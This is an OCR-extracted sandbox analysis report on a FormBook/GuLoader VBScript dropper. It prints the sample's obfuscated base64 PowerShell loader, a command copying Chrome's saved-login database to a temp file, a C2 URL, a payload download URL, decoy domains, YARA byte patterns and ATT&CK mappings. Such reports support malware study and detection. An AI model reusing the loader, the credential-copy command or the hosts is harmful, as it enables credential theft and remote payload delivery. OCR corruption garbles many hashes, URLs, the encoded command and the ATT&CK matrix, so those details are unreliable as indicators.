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Windows Analysis Report

New _Inquiry P.04622.vbs

Overview

General Information Detection Classification

Sample New _Inquiry
Name: P.04622.vbs MALICIOUS

Analysis ID: 557838

Found malware configuration

Detected FormBook malware

MD5: . .
24e9357534a81... Multi AV Scanner detection for subm...
SHA1L:
AU Yara detected FormBook
SHA256: 5e6d8684c3f71c..
Malicious sample detected (through...
VBScript performs obfuscated calls...
Infos: OB Q@0
System process connects to networ...
&b am

Antivirus detection for URL or domain
FormBook

Guloader Sigma detected: Suspect Svchost A...

Yara detected GulLoader

Al
o
=
U
~+
c
=
1]
wn

Range: 0-100
Whitelisted: false Hides threads from debuggers
Confidence: 100%

Sample uses process hollowing tech...

Process Tree

= System is w10x64
. i; wscript.exe (PID: 5172 cmdline: C:\Windows\System32\wscript.exe "C:\Users\user\Desktop\New _Inquiry P.04622.vbs" MD5: 9A68BADD12EB50DDE7586782C3EB9FFIC)

o E¥ powershell.exe (PID: 4676 cmdline: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IWBMAEEAQWBUAEKARgBFAFIA
TwAgAGIAcgBIAGCAbWAGAESAbgBVAGIAZQBOAHMAZgBYAGKAOQAgAEgAZQBZAHQAMWAGAECACgBLAGUACWBVAGOANAAGAECAZQBUAGUACGBhAGWAaQBZACAA
QQBGAEOARQBKACAAYgBIAGEAdgBIAHIAIABCAEKAQYBMAEKATWBHAFIAIABEAGQAbQBhAG4AZABzAGSAbgA1ACAAbgB1AGWADABPAGAAIABSAGAACABVAHQA
cwB5AHMAJABIACAAVABOAHIAZQBhAHAAZQBKAGEAZgAgAEBAdQBOAHCACYBIAHMAIABHAFQARQBWAEKAVJAgAFUAbgBzAGgAY QBjAGSADABPADQGAIABJAGBA
cgByAGUAIABMAEEAUgBNAEUATgBTAEYAIABEAGKAcWBOAGKAbgBnAHYAOAAJAGQAaQBzAGUAbQBIAGBAIABIAFKAUABFACAAVQBUAGYAaQBsADKAIABWAEEA
TgBEAEIAUgBOAEQAQQAJAECAZQBUAG4AZQAGAEIAZQBIAGUACWBOAHIAZQAOACAAaQBUAGQACABhACAAQYBPAHQACWB5AGWAZQAGAFQAZQBYAGAAY QBZAGYA
ZQAgAEsAbwBrAGEAcgBKACAADQAKAAOACYJANAAOAQQBKAGQALQBUAHKACABIACAALQBUAHKACABIAEQAZQBMAGKAbgBpAHQAaQBVAGA4AIABAACIADQAKAHUA
CcWBpAG4AZWAGAFMAeQBzAHQAZQBtADSADQAKAHUACWBPAGAAZWAGAFMAeQBzAHQAZQBIAC4AUgB1AGAAdABPAGOAZQAUAEKAbgBOAGUACgBVAHAAUWBIAHIA
dgBpAGMAZQBzADSADQAKAHAAIQBIAGWAaQBJACAAcWBOAGEAJABPAGMAIABJAGWAY QBzAHMAIABIAHIAbgBIAGMAeQBrAGWAMQANAA0AewANAAOAWWBEAGWA
bABJAGOACABVAHIAJAAOACIAbgBOAGQADABSAC4AZABSAGWAIgGAPAFOACABIAGIAbABpAGMAIABZAHQAY QBOAGKAYWAJAGUAeABOAGUACgBUACAAaQBUAHQA
IABOAHQAQQBsAGWAbwWBJAGEAJABIAFYAaQBYAHQAJQBhAGWATQBIAGOAbwBYAHKAKABPAG4AAdAAgAGIACgBUAGUAYWB5AGSAbAA2ACWACYBIAGYAIABIAGAA
dAAzADIAIABYAGUACWBOAGIAZQBsAGIALABpAGAAdAAGAEQAeQBIAGIANgASAHIAZQBMACAASQBUAHQAMWAYACAAY gByAG4AZQBjAHkAawBsSACWAaQBUAHQA
IABhAHAACABSAGKAZQASAGKAbgBOACAAYgByAG4AZQBjAHkAawBsADCAKQA7AAOACGBbAEQAbABSAEKADQBWAGBACgBOACgAIgBrAGUACgBUAGUADAAZADIA
LgBKAGWADbAAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBJACAAZQB4AHQAZQBYAGAAIABIAGAAdABQAHQACJAJAEMACYBIAGEAdABIAEYAaQBSAGUA
QQA0AHMAJABYAGkAbgBNACAAaQBtAGOAY QBUACWAdQBPAGAAdAAgAEgAeQBWAGBAZWB5AG4AeQBIACWAaQBUAHQAIABEAGKACWBJAGKACABSADMALABPAG4A
dAAgAGIAcgBUAGUAYWB5AGSADAAWACWAaQBUAHQAIABQAGUAdAB1AG4AaQBIAHIAbgASAGKAbgBOACAARWBYAHUAbgBNAGUACWBIAGKAJAASAGKAbgBOACAA
RABIAGOAbwBYAGEAbAA1LACKAOWANAAOAWWBEAGWADABIAGOACABVAHIADAAOACIAawBIAHIAbgBIAGWAMWAYACAAZABSAGWAIGAPAFOACABLAGIADABpAGMA
IABZAHQAY QBOAGKAYWAgAGUAeABOAGUACgBUACAAaQBUAHQAIABSAGUAYQBKAEYAaQBsSAGUAKABPAGAAJAAGAEQAeQBIAGIANgGAWACWAJQBPAGAAdAAgAEQA
eQBIAGIANgAXACWASQBUAHQAUABOAHIAIABEAHKAY gBIADYAMgASAHIAZQBMACAASQBUAHQAMWAYACAARABSAGIAYJA2ADMALABPAG4AdAAJAE QAeQBIAGIA
NgAOACKAOWANAAOAWWBEAGWADABJAGOACABVAHIAJAAOACIAdQBZAGUACgAZADIALGBKAGWABAAIACKAXQBWAHUAY gBsAGKAYWAgAHMAJABhAHQAaQBJACAA
ZQB4AHQAZQBYAG4AIABJAGAAdABQAHQACJAGAEMAY QBSAGWAVWBPAGAAZABVAHCAUABYAGBAYWBXACGASQBUAHQAUABOAHIAIABEAHKAYgBIADYANQASAGKA
bgBOACAARABSAGIAYgA2ADYALABPAGAAdAAgGAEQAeQBIAGIANgASACWAaQBUAHQAIABEAHKAYgBIADYAOAASAGKAbgBOACAARABSAGIAYgA2ADKAKQA7AADA
CgB9AAOACgAIAEAADQAKACMAQgBpAHMAY QBtAHMAYwWBOAHUAIABEAG8AdgBIAGAAOAAGAEMAY QBsAHKAIABLAHUABABKAGKAbwB4AGKAZAAGAGCACgBhAGYA
aQBrAHIAdQBOAGKAIABMAGsAawBIAHIAbgAgAESAY QBUAGBAbgBpADKAIABDAGYAZQBSADKAIABIAGAAZABIAGIAY QBSAGWAZQBUACAAZABpAHMAawAgAFQA
YQBKAGUAYQB3AG8AdJQBJADQAIABVAGKAJABVAHQAY QBUAHUAZAA4ACAAQWBIAHQABABhAHMACWBMADQAIABSAGgAaQBWADgAIABUAGUAbgBKAGUACYBIAGUA
bwAgAHIAZQBpAG4AaABVAGWAZAAGAEgAagBIAGOAdgBpAHMAZQBSAHUAOQAGAEGAVQBSAFIAUWAGAESADQBUAGKANGAGAEIAaQBNAGCAaQBzADUAIABPAGQA
bQBhAHYANAAQAEIAdQBJAGJAIABQAGUAZWBNAHKACABhAHIAY QAgAG4AdgBUAGKAbgBNAGUAZABVACAARGBPAEUATABHAEUAUWBFAEQAIAANAAOAVABIAHMA
dAAIAFAAY QBOAGQAIAAIAHMAbwB1AGOAIgAgGAAOACgBUAGUACWBOACOAUABhAHQAaAAGACIARQBYAEMATABVAEQAIgGAgGAAOACYAKAGIACgBUAGUAYWB5AGSA
bAAZADOAMAA7AAOACYAKAGIAcCgBUAGUAYWB5AGSABAASADOAMQAWADQAOAALIADCANgA7AAOACYAKAGIACgBUAGUAYWB5AGSAbAA4ADOAWWBIAHIAbgBIAGMA
eQBrAGWAMQBAADOAOgBOAHQAQQBSAGWAbWBJAGEAdABIAFYAaQBYyAHQAJQBhAGWATQBIAGOAbwBYAHKAKAAIADEALABDAHIAZQBMAFOAJABIAHIAbgBIAGMA
eQBrAGWAMwWASADAALABDAHIAZQBMAFOAJABIAHIAbgBIAGMAeQBrAGWAOQASADEAMgAYADgAOAASADYANAAPAAOACIAJAFMAVQBQAEUAUgAgAFMAVABPAEMA
SwBJAEWAWQBSACAAUWBOAG4AawBIAGWAYQA1ACAAZQBIAHAACgBVAHMAJAAGAGQAZQBMAGKAbgBpAHQAJAAGAFMAZQBWAGKAY QBIAHIAdQAXACAAJABVAHAA
bwBnAHIAYQBMAGUACgAgAEQAUgBZAFAAUWBUAEUATGAGAEYACBIAGSAdgA2ACAARABIAGWAaQBIAGUANGAJAEOAY QBOAGKAY QBzZADMAIABOAHUACWBUAGKA
bgBnAGSAdgAgAEgAdQBzAGOAIABDAEgARQBFAFMARQBGAEWAIAB2AGEAYQBNACAAVABOAGUABAAGAFMAdQBWAGUACgAIACAACWBhAGMACGBpAHMAJAAGAFYA
ZQBKAHMAJABhAGEAIABCAGEAZWBOAHUAbgAgAFAACYBVAHQAEQBSAHMAMgAgAFMAJABYAHKAZWBIAGSAdgBhADEAIABJAEOATQBPAEWAQQBUACAAUWBOAGUA
ZAAgAHMAYWBYAGKAIABMAGUAZABIAHYAYQBYACAAUABIAHIAaQBVAGQAYQAJAAOACYBUAG UACWBOACOAUABhAHQAAAAJACIACWBUAGEACGBIAGAACWAIACAA
DQAKACQAYgBYAG4AZQBjAHKkAawBsADIAPQAIACQAZQBUAHYAOgBOAGUADbQBWACIAIAATACAAIgBCAGIADABIAGUAYgAUAGQAY QBOACIADQAKACMARQBOAHQA
aQBUAHOAbWBIAGIAaQAOACAAaQBUAHQAZQBSAGWAZQBrAHQAIABNAGUAbgBzAHUACgBhACAAZgBYAGKAaABhACAAUWBOAHUAJABPAGAAZWBKAGKAZQAGAFMA
SWBSAFYAUWBSACAAUWBJAGgAaQBUAG QAeQBSADEAIABzAHKACYBUAGKAbgBNAGUAIABBAE QATWBQAFQAQQBOAFQAIABMAHUAawBrAGUAdABZAGIABWAGAGIA
bABhAG4AZABpAGAAZWBzAGYAIABEAEUAQWBJIAEOARQBSAEUAIABVAGQAaABVAGWAZABIAGWAaQAgAFMAVABPAEMASWBIAESBAIABHAGUABQBpPACAARGBhAGIA
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cgBpAGsAYQAYACAAaQBUAHQAZQBYAHAAdQBUACAAdgBhAG4AZABZAGSAIABZAHAAaQBSAG QAZQAJAFIARQBHAEKAUWBUAEUAUgAgAFAAbwBZAHQAZWBPAHIA
bwBrAG8AMWAgAFIAaQB2AGUAcgBpACAATWBWAEUAUgBFAEOAIABEAEEATYBEAFKAIABUAHIAY QBUAHMAYWAZACAACABVAGWAEQAGAEOAVQBTAFQAQQBOAECA
UWAgAESAYQBzAGUAaQBUAGUAJAAGAEOAdQBNAGUACYBpAG4AZWBOACAAQYBFAFIATWBMAEKARWBFAEQAIABTAFQAUgBBAFQAIABBAFMARgBBAEWAVAAGAEWA
bwBnAGEACcgBpACAADQAKACQAYgBYAG4AZQBjAHkAawBsSADQAPQBbAGIAcgBUAGUAYWB5AGSADAAXAFOAOJABAEMACGBIAGEAJABIAEYAaQBSAGUAQQAOACQA
YgByAG4AZQBjAHkAawBsADIALAAYADEANAA3ADQAOAAZADYANAA4ACWAMQASADAALAAZACWAMQAYADJALAAWACKADQAKACMAQWBIAFIASQBTAFQAIABDAEUA
UgBCACAASABPAGCAaABJACAAUYBIAGSAbwBIAGOAYQA4ACAAQWBPAFIARQBDACAATABZAEQASQBHAEgARQBEACAAQQBDAEgATWBMAESARQBGAC
AAbQB1AHMAbABPAGAAZWAGAGOAY QBOAGUACYBpAGEADABPACAADQAKAFQAZQBZAHQALQBQAGEAJABOACAAIGBTAHUAY QBIAGWAIgAgAAOACGAKAGIACGBUAG
UAYWB5AGsAbAA1IADOAMAA7TAAOACIAJAFMAJABYAGEAY QBSACAAaABSAHAAZQBYACAATABIAGAAZQBoAHKACgBKACAAUGBFAEKARGBJIAESAIABOAGUACWBOAG
EAbQBIACAAQgBSAEKASWBWAFYATYAgAEKARABJIAESAIABNAHIAY QBKAHUAYQBOACAATQBIAGEAdABIAGEAbgA1IACAAYWBVAHUAbgBOAGUACGBIAHYAIABQAH
IAZQBpAG4AZABIAGIAdABIADKAIABNAHKAbWBIAGUACgBIADMAIABPAHAAZ QBYAGEAJABPAHYAcWB5ACAACABSAGKACYBIAGUACWBIAGEACYAgGAHMAY QBAG
EACgAgAEWATgBTAEEAVABTACAAYWB0OAGUACWBrACAARYBJIAECAVQBSAFQAWQBQACAAUABVAHUACWBZAGKANAAGAEYAVQBHAFQARgBKAEUAIABGAHUAbgBrAH
QAaQAgAEBAbQBIrAHIACWBIAGWACWA2ACAAVABVAGEAZABSACAAQQBpPAHIAdwBVAHIAJABOACAARWBhAHMAY QBWAHAAY QBYAGEAJAAGAEIAdQBNAHMACAB5AH
QAdAA2ACAAUABYAGBAZWBYAGEAbQBZAHQANQAGAAOACYBUAGUACWBOACOAUABhAHQAAAAGACIAYgBhAHIAY QBrACIAIAANAAOAWWBIAHIAbgBIAGMAeQBrAG
WAMQBAADOAOgBSAGUAYQBKAEYAaQBSAGUAKAAKAGIACgBUAGUAYWB5AGSADAAOACWAJABIAHIAbgBIAGMAeQBrAGWAMWASADIANgAXADEANGASAFSACYBIAG
YAXQAKAGIAcgBUAGUAYWB5AGSAbAALACWAMAAPAAOACYAJAFMAbgBhAGQAZABIAGAAY QBZAGBANQAJAGMAaQBYAGMAJQAJAEMATWBOAEYARQBDACAACABYAG
8ACABVACAAUWB1AGKAdABhAGIAbABIADIAIABQAFMARQBVAEQATWAJAEKATgBEAEWARWBHAEUATAAGAFAAdQBOAHIAZQBZAGMAZQBrAGEAOAAGAFgAeQBSAG
8AMWAQAFCASABVAEYARGAGAGBAY QBZAGUACWBIrAGKAbgAgAFQAY QBIAHQAYQBIACAASQBtAHAAbWBYADMAIABQAHIAbWBOACAAVABSAHIAbWAgAHYAZQBUAH
QACgAgAFUATYBCAEKARABBAEIAIABYAGEAY QB2AGEACgBIAHIAbgBIACAASABVAHIAY QBOAGWAdQBJAGKAY QAgAFMAeQBUAHQAaABIAHQAIABGAGUAZABOAG
QAIABIAGEAYQBYAGQAOQAJAFYASQBOAESARQBMACAAUWBLAEEAVABUAEUAQQBOAFMAVAAGAEOARQBDAEgARQBMACAAUGBhAGAAZABPAGEACABS
ACAARABFAFQATWBYAEKARgBJACAAQYBSAG4AZABIAGAAIAANAAOAVABIAHMAJAALAFAAY QBOAGGAIAAIAFQAdQBYAG YAIGAGAAOACGBUAGUACWBOACOAUABA
AHQAaAAgACIAWQBWAEUAVAAIACAADQAKAFQAZQBzZAHQALQBQAGEAJABOACAAIgBPAEOATQBBAFQASQBEAEKAQQAIACAADQAKAFQAZQBZAHQALQ
BQAGEAdABOACAAIgBUAG8AbABLAGKAZABVAGMAIGAGAADACYBUAGUACWBOACOAUABhAHQAaAAGACIASWBVAEWAVABVAFIAUWBBAEOATQAIACAADQAKAFQAZQ
BzAHQALQBQAGEAJABOACAAIgBrAHYAY QBSAGKAdABIAHQAIgAGAAOACYBUAGUACWBOACOAUABhAHQAaAAGACIAUWBhAGUADBABNAGUACWBZAHQAMWAIACAADQ
AKAFQAZQBzAHQALQBQAGEAdABOACAAIgBSAGEAZABYAGUAbgBzACIAIAANAAOAVABIAHMAJAAtAFAAY QBOAGQAIAAIAFQAZQBYAGA4AaQBUAGCAJABSACIAIA
ANAAOAVABIAHMAJAAIAFAAY QBOAGQAIAAIAGY AcgBtAGAAZABVAHYAZQBYACIAIAANAACAVABIAHMAJAAIAFAAY QBOAGYAIAAIAEEADABIAHYAaQBUACIAIA
ANAAOAVABIAHMAJAAIAFAAY QBOAGGAIAAIAEQAdQBIAHAAZQBrAGEAOAAIACAADQAKAFQAZQBZAHQALQBQAGEAdABOACAAIgBMAGEACWBOAGCACYBIACIAIA
ANAAOAVABIAHMAJAAIAFAAY QBOAGGAIAAIAFAAYQBhAHQAY QBsAGUACYBIACIAIAANAACAWWBIAHIAbgBIAGMAeQBrAGWAMQBAAD0AOgBDAGEAbABSAFcAaQ
BUAGQAbwB3AFAACgBVAGMAVWAOACQAY gByAG4AZQBjAHkAawBSADMALAAGADAALAAWACWAMAASADAAKQANAAOADQAKAA== MD5:
DBA3E6449E97D4E3DF64527EF7012A10)

. conhost.exe (PID: 6156 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

e M csc.exe (PID: 6440 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\vsdke30k\

vsdke30k.cmdline MD5: 350C52F71BDED7B99668585C15D70EEA)

e [ cvires.exe (PID: 6080 cmdline: C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\usen\A
ppData\Local\Temp\RES6913.tmp" “c:\Users\user\AppData\Local\Temp\vsdke30k\CSC2B92EBAA3FFD4AC6819286896BCEF79.TMP" MD5:
C09985AE74F0882F208D75DE27770DFA)

. @ ieinstal.exe (PID: 5480 cmdline: C:\Program Files (x86)\internet explorer\ieinstal.exe MD5: DAD17AB737E680C47C8A44CBB95EE67E)
o [ explorer.exe (PID: 3424 cmdline: C:\Windows\Explorer.EXE MD5: AD5296B280E8F522A8A897C96BABOE1D)
e [ svchostexe (PID: 5288 cmdline: C:\Windows\SysWOW64\svchost.exe MD5: FA6C268A5B5BDA067A901764D203D433)
cmd.exe (PID: 1584 cmdline: /c copy "C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data" "C:\Users\user\AppData\Local\
Temp\DB1" /V MD5: F3BDBE3BB6F734E357235F4D5898582D)
. conhost.exe (PID: 5568 cmdline: C:\Windows\system32\conhost.exe Oxffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

= cleanup

Malware Configuration

Threatname: FormBook
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"C2 list": [
"www.usyeslogistics.com/k6sm/"

1,

"decoy": [
"mingshengjewelry.com”,
"ontimecleaningenterprise.com”,
"alyssa@.xyz",
"ptecex.xyz",
"dukfot.online",
"pvcpc.com”,
"{owalawtechnology.com",
"nestletranspotation.com”,
"mysithomes.com",
"greenlakespaseattle.com",
"evofishingsystems.com”,
"unilytcs.com”,
"ordemt.com",
"dentalbatonrouge.com”,
"pictureme360.net",
"chalinaslacatalana.com",
"pewmirrorimage.xyz",
"pinklaceandlemonade.com",
"rapinantes.com”,
"yzicpa.com”,
"josephosman.com",
"robsarra.com"”,
"shumgroup.net”,
"flooringnewhampshire.com",
"onceadayman.com"”,
"audiomacklaunch.xyz",
"hurryburry.com”,
"golfvid.info",
"tutortenbobemail.com”,
"tatlitelasorganizasyon.com"”,
"tqgtdd. space”,
"classicalruns.com”,
"xx3tgnf.xyz",
"galwayartanddesign.com”,
"qidu.press",
"crypto-obmennik.com”,
"dn360rn001.com",
"tridim.tech",
"phamhome.com",
"mediadollskill.com",
"loveatmetaverse.com”,
"electric4x4parts.com”,
"azulymargarita.com",
"isadoramel.com",
"rubyclean.com”,
"officiallydanellewright.com”,
"wu8d349s670p.xyz",
"detetivepyther.com”,
"wondubniumgy463.xyz",
"registry-finance3.com",
"ultracoding.com",
"open-4business.com”,
"supremelt.online”,
"pangfeng.xyz",
"morneview.com"”,
"northfloridapsychic.com”,
"kg4bppuh.xyz",
"friv.asia",
"epsilonhomecare.con”,
"hbina.com",
"beachhutprinting.com”,
"sophoscloudoptix.net"”,
"managemarksol.site",
"palestyna24.info"

}
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Threatname: Guloader

"Payload URL": "https://owanlab.com/bin_DziiNe252.bin"

Yara Overview

Memory Dumps

Source

00000016.00000002.1182719160.0000000002970000.0000
0004.00000001.sdmp

00000016.00000002.1182719160.0000000002970000.0000
0004.00000001.sdmp

00000016.00000002.1182719160.0000000002970000.0000
0004.00000001.sdmp

00000013.00000002.1065437367.000000001E680000.0000
0040.00020000.sdmp

00000013.00000002.1065437367.000000001E680000.0000
0040.00020000.sdmp

Sigma Overview

System Summary

Rule

JoeSecurity_Form
Book

Formbook_1

Formbook

JoeSecurity_Form
Book

Formbook_1

Description

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

detect Formbook
in memory

Yara detected
FormBook

autogenerated rule
brought to you by
yara-signator

Author

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

JPCERT/CC
Incident Response
Group

Joe Security

Felix Bilstein -
yara-signator at
cocacoding dot
com

Click to see the 17 entries

Strings

0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
7494

0x15l1al:$sequence_2: 3B 4F 14 73 95 85 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E30F C1 EA 06

Ox1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

0x18849:$sqlite3step: 68 34 1C 7B E1
0x1895c:$sqlite3step: 68 34 1C 7B E1
0x18878:$sqlite3text: 68 38 2A 90 C5
0x1899d:$sqlite3text: 68 38 2A 90 C5
0x1888b:$sqlite3blob: 68 53 D8 7F 8C
0x189b3:$sqlite3blob: 68 53 D8 7F 8C

0x9908:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x9b82:$sequence_0: 03 C8 OF 31 2B C1 89 45 FC
0x156b5:$sequence_1: 3C 24 OF 84 76 FF FF FF 3C 25
74 94

0Ox15lal:$sequence_2: 3B 4F 14 73 9585 C9 74 91
0x157b7:$sequence_3: 3C 69 75 44 8B 7D 18 8B OF
0x1592f:$sequence_4: 5D C3 8D 50 7C 80 FA 07
Oxa59a:$sequence_5: OF BE 5C OE 01 OF B6 54 OE 02 8
3 E3 0OF C1 EA 06

0x1441c:$sequence_6: 57 89 45 FC 89 45 F4 89 45 F8
0xb293:$sequence_7: 66 89 0C 02 5B 8B E5 5D
0x1b927:$sequence_8: 3C 54 74 04 3C 74 75 F4
Ox1c92a:$sequence_9: 56 68 03 01 00 00 8D 85 95 FE F
F FF 6A 00

fopdl

Sigma detected: Suspect Svchost Activity

Sigma detected: Suspicious Svchost Process

Jbx Signature Overview

AV Detection

Found malware configuration

Multi AV Scanner detection for submitted file

Copyright Joe Security LLC 2022
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Yara detected FormBook

Antivirus detection for URL or domain

Networking

System process connects to network (likely due to code injection or exploit)

Potential malicious VBS script found (has network functionality)

C2 URLs / IPs found in malware configuration

E-Banking Fraud IEE.

Yara detected FormBook

System Summary

Detected FormBook malware

Malicious sample detected (through community Yara rule)

Wscript starts Powershell (via cmd or directly)
Potential malicious VBS script found (suspicious strings)

Very long command line found

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Yara detected GuLoader

Boot Survival IEE.

Creates an undocumented autostart registry key

Hooking and other Techniques for Hiding and Protection

Modifies the prolog of user mode functions (user mode inline hooks)

Malware Analysis System Evasion

Potential evasive VBS script found (sleep loop)
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Tries to detect virtualization through RDTSC time measurements

Anti Debugging IE

Hides threads from debuggers

=

B
=

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Sample uses process hollowing technique

Maps a DLL or memory area into another process
Encrypted powershell cmdline option found

Queues an APC in another process (thread injection)

Modifies the context of a thread in another process (thread injection)

Copyright Joe Security LLC 2022 Page 8 of 38



Stealing of Sensitive Information

Yara detected FormBook

Tries to steal Mail credentials (via file / registry access)

Tries to harvest and steal browser information (history, passwords, etc)

Remote Access Functionality

Yara detected FormBook

Mitre Att&ck Matrix

- - . Command Remote
Initial . . Privilege Defense Credential . Lateral . . . Network .
Access Execution Persistence Escalation | Evasion Access Discovery Movement Collection Exfiltration and Effects Service Impact
Control Effects
Valid Remote Exfiltration Eavesdrop Remotely  Modify
Accounts Scripting Registry Process Deobfuscat OS File and Services Archive Over Other Ingress on Insecure Track System
Run Keys / Injection e/Decode  Credential  Directory Collected Network Tool Network Device Partition
Startup Files or Dumping Discovery Data Medium Transfer Communic  Without
Folder Information ation Authorizati
on
Default Boot or Remote Exfiltration Exploit SS7 Remotely Device
Accounts Shared Logon Registry Scripting Credential = System Desktop Data from  Over Encrypted  to Redirect Wipe Data  Lockout
Modules Initializatio  Run Keys / API Information = Protocol Local Bluetooth Channel Phone Without
n Scripts Startup Hooking Discovery System Calls/SMS  Authorizati
Folder on
Domain Logon Logon Security SMB/Wind Automated Exploit SS7  Obtain Delete
Accounts Command  Script Script Obfuscated Account Query ows Admin  Email Exfiltration  Non- to Track Device Device
and (Windows)  (Windows) Files or Manager Registry Shares Collection Application = Device Cloud Data
Scripting Information Layer Location Backups
Interpreter Protocol
Local Logon Logon NTDS Distributed Scheduled SIM Card Carrier
Accounts PowerShell  Script Script Rootkit Security Component Credential  Transfer Application  Swap Billing
(Mac) (Mac) Software Object API Layer Fraud
Discovery  Model Hooking Protocol
Cloud Cron Network Network LSA SSH Keylogging Data Fallback Manipulate Manipulate
Accounts Logon Logon Masqueradi Secrets Process Transfer Channels Device App Store
Script Script ng Discovery Size Limits Communic Rankings
ation or Ratings
Replication Launchd ~ Rc.commo  Rc.commo Cached VNC GUI Input  Exfiltration  Multiband ~ Jamming or Abuse
Through n n Virtualizatio Domain Virtualizatio Capture Over C2 Communic  Denial of Accessibilit
Removable n/Sandbox Credentials n/Sandbox Channel ation Service y Features
Media Evasion Evasion
External  Scheduled Startup Startup DCSync Windows ~ Web Portal ~Exfiltration  Commonly Rogue Wi- Data
Remote Task Items Items Process Application Remote Capture Over Used Port  Fi Access Encrypted
Services Injection Window Manageme Alternative Points for Impact
Discovery  nt Protocol
Drive-by Command  Scheduled Scheduled Indicator Proc Shared Credential  Exfiltration  Application Downgrade Generate
Compromis and Task/Job Task/Job Removal Filesystem Remote Webroot API Over Layer to Insecure Fraudulent
e Scripting from Tools System Hooking Symmetric  Protocol Protocols Advertising
Interpreter Discovery Encrypted Revenue
Non-C2
Protocol
Behavior Graph
Copyright Joe Security LLC 2022 Page 9 of 38
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Screenshots
Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.
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QEURIOIO

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source Detection Scanner Label Link
New _Inquiry P.04622.vbs 9% Virustotal Browse
New _Inquiry P.04622.vbs 14% ReversingLabs Script-

WScript.Download

er.SLoad

Dropped Files

@ No Antivirus matches

Unpacked PE Files

@ No Antivirus matches

Domains

Source Detection Scanner Label Link
owanlab.com 0% Virustotal Browse
URLs
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https://www.virustotal.com/gui/file/5e6d8684c3f71ca6a76d22d1ddc536f302738a3027d22a5b1ce1852c9c551d99/detection/f-5e6d8684c3f71ca6a76d22d1ddc536f302738a3027d22a5b1ce1852c9c551d99-1642733113
https://www.virustotal.com/gui/url/d3d3efde0c31dda60b24ed88c1efebefcbcbe86ea1cb7ec91fe545addcb49de1/detection/u-d3d3efde0c31dda60b24ed88c1efebefcbcbe86ea1cb7ec91fe545addcb49de1-1540647108

Source
http:// pesterbdd.com/images/Pester.png0~
http://https://gsmservice.tech/bin_DziiNe252.bin

http:// pesterbdd.com/images/Pester.png

Detection

0%
0%

0%

http://https://owanlab.com/bin_DziiNe252.binhttps://gsmservice.tech/bin_DziiNe252.bin 0%

http://https://contoso.com/
http://https://contoso.com/License
http://https://contoso.com/Icon
www.usyeslogistics.com/késm/

http://https://owanlab.com/bin_DziiNe252.bin

Domains and IPs

Contacted Domains

Name P

owanlab.com

www.ordemt.com

Contacted URLs

Name

www.usyeslogistics.com/késm/

http:i/https://owanlab.com/bin_DziiNe252.bin

URLs from Memory and Binaries
Name

http://nuget.org/NuGet.exe

http:// pesterbdd.com/images/Pester.png0~
http://https://gsmservice.tech/bin_DziiNe252.bin
http://https://github.com/Pester/Pester0~

http:// pesterbdd.com/images/Pester.png

http://www.apache.org/licenses/LICENSE-2.0.html

hitp://
https://owanlab.com/bin_DziiNe252.binhttps://gsmservi
ce.tech/bin_DziiNe252.bin

http:{/https://contoso.com/
http:i/https://nuget.org/nuget.exe
http:{/https://contoso.com/License

http://https://contoso.com/Icon

http://www.apache.org/licenses/LICENSE-2.0.html0~

http:ff
schemas.xmlsoap.org/ws/2005/05/identity/claims/nam
e

http://https://github.com/Pester/Pester

World Map of Contacted IPs

Copyright Joe Security LLC 2022

unknown

0%
0%
0%
0%

100%

Active

157.7.107.166 true true

unknown  true

Malicious

Scanner Label
Avira URL Cloud safe
Avira URL Cloud safe
URL Reputation safe
Avira URL Cloud safe
URL Reputation safe
URL Reputation safe
URL Reputation safe
Avira URL Cloud safe

Avira URL Cloud malware

Antivirus Detection

e 0%, Virustotal, Browse

Malicious Antivirus Detection

true

true

Source

powershell.exe, 0000000D.00000002.102423
8823.0000000005D81000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.102182
0961.0000000004E66000.00000004.00000001.sdmp

ieinstal.exe, 00000013.00000002.10617469
94.0000000002EA0000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.102182
0961.0000000004E66000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000003.871107
891.0000000007AC6000.00000004.00000001.sdmp,
powershell.exe, 0000000D.00000002.1021820961.
0000000004E66000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000003.871107
891.0000000007AC6000.00000004.00000001.sdmp,
powershell.exe, 0000000D.00000002.1021820961.
0000000004E66000.00000004.00000001.sdmp

ieinstal.exe, 00000013.00000002.10617469
94.0000000002EA0000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.102423
8823.0000000005D81000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.102423
8823.0000000005D81000.00000004.00000001.sdmp

powershell.exe, 0000000D.00000002.102423
8823.0000000005D81000.00000004.00000001.sdmp

